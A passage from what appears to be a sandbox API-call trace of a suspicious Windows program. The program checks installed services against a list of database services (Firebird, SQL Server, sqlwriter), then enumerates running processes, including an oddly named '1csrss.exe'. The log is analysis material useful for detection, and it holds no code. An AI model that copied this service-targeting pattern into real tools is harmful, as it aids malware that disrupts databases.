lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0315.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0315.205] lstrlenW (lpString="LSM") returned 3 [0315.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0315.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0315.205] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0315.205] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0315.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0315.205] lstrlenW (lpString="MapsBroker") returned 10 [0315.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0315.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0315.205] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0315.205] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0315.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0315.205] lstrlenW (lpString="MpsSvc") returned 6 [0315.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0315.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0315.205] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0315.205] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0315.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0315.205] lstrlenW (lpString="NcbService") returned 10 [0315.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0315.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0315.205] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0315.205] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0315.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0315.205] lstrlenW (lpString="netprofm") returned 8 [0315.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0315.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0315.206] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0315.206] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0315.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0315.206] lstrlenW (lpString="NgcSvc") returned 6 [0315.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0315.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0315.206] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0315.206] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0315.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0315.206] lstrlenW (lpString="NlaSvc") returned 6 [0315.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0315.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0315.206] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0315.206] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0315.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0315.206] lstrlenW (lpString="nsi") returned 3 [0315.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0315.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0315.206] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0315.206] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0315.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0315.206] lstrlenW (lpString="PcaSvc") returned 6 [0315.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0315.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0315.206] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0315.206] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0315.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0315.206] lstrlenW (lpString="PlugPlay") returned 8 [0315.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0315.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0315.206] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0315.207] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0315.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0315.207] lstrlenW (lpString="Power") returned 5 [0315.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0315.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0315.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0315.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0315.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0315.207] lstrlenW (lpString="ProfSvc") returned 7 [0315.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0315.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0315.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0315.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0315.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0315.207] lstrlenW (lpString="RpcEptMapper") returned 12 [0315.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0315.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0315.207] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0315.207] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0315.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0315.207] lstrlenW (lpString="RpcSs") returned 5 [0315.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0315.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0315.207] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0315.207] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0315.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0315.207] lstrlenW (lpString="SamSs") returned 5 [0315.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0315.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0315.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0315.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0315.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0315.207] lstrlenW (lpString="Schedule") returned 8 [0315.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0315.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0315.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0315.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0315.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0315.208] lstrlenW (lpString="SecurityHealthService") returned 21 [0315.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0315.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0315.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0315.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0315.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0315.208] lstrlenW (lpString="SENS") returned 4 [0315.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0315.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0315.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0315.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0315.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0315.208] lstrlenW (lpString="ShellHWDetection") returned 16 [0315.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0315.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0315.208] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0315.208] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0315.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0315.208] lstrlenW (lpString="Spooler") returned 7 [0315.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0315.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0315.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0315.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0315.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0315.208] lstrlenW (lpString="SSDPSRV") returned 7 [0315.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0315.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0315.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0315.209] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0315.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0315.209] lstrlenW (lpString="StateRepository") returned 15 [0315.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0315.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0315.209] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0315.209] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0315.209] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0315.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b0 [0315.212] Process32FirstW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0315.212] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0315.213] lstrlenW (lpString="System") returned 6 [0315.213] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0315.214] lstrlenW (lpString="smss.exe") returned 8 [0315.214] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0315.215] lstrlenW (lpString="csrss.exe") returned 9 [0315.215] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0315.215] lstrlenW (lpString="wininit.exe") returned 11 [0315.215] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0315.216] lstrlenW (lpString="csrss.exe") returned 9 [0315.216] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0315.217] lstrlenW (lpString="winlogon.exe") returned 12 [0315.217] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0315.217] lstrlenW (lpString="services.exe") returned 12 [0315.217] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0315.218] lstrlenW (lpString="lsass.exe") returned 9 [0315.218] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0315.219] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0315.219] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0315.219] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0315.219] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.220] lstrlenW (lpString="svchost.exe") returned 11 [0315.220] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.221] lstrlenW (lpString="svchost.exe") returned 11 [0315.221] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0315.223] lstrlenW (lpString="dwm.exe") returned 7 [0315.223] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.223] lstrlenW (lpString="svchost.exe") returned 11 [0315.223] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.224] lstrlenW (lpString="svchost.exe") returned 11 [0315.224] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.225] lstrlenW (lpString="svchost.exe") returned 11 [0315.225] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.225] lstrlenW (lpString="svchost.exe") returned 11 [0315.226] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.226] lstrlenW (lpString="svchost.exe") returned 11 [0315.226] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.227] lstrlenW (lpString="svchost.exe") returned 11 [0315.227] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.228] lstrlenW (lpString="svchost.exe") returned 11 [0315.228] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.228] lstrlenW (lpString="svchost.exe") returned 11 [0315.228] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.230] lstrlenW (lpString="svchost.exe") returned 11 [0315.230] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.230] lstrlenW (lpString="svchost.exe") returned 11 [0315.230] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0315.231] lstrlenW (lpString="spoolsv.exe") returned 11 [0315.231] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0315.232] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0315.232] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0315.232] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0315.232] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0315.233] lstrlenW (lpString="Memory Compression") returned 18 [0315.233] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.234] lstrlenW (lpString="svchost.exe") returned 11 [0315.234] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0315.234] lstrlenW (lpString="audiodg.exe") returned 11 [0315.234] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0315.235] lstrlenW (lpString="sihost.exe") returned 10 [0315.235] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.236] lstrlenW (lpString="svchost.exe") returned 11 [0315.236] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0315.236] lstrlenW (lpString="taskhostw.exe") returned 13 [0315.236] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0315.237] lstrlenW (lpString="explorer.exe") returned 12 [0315.237] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0315.238] lstrlenW (lpString="SearchUI.exe") returned 12 [0315.238] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0315.238] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0315.239] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0315.239] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0315.239] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0315.240] lstrlenW (lpString="1csrss.exe") returned 10 [0315.240] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.241] lstrlenW (lpString="svchost.exe") returned 11 [0315.241] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0315.241] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0315.241] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0315.242] lstrlenW (lpString="svchost.exe") returned 11 [0315.242] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0315.243] lstrlenW (lpString="consent.exe") returned 11 [0315.243] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, 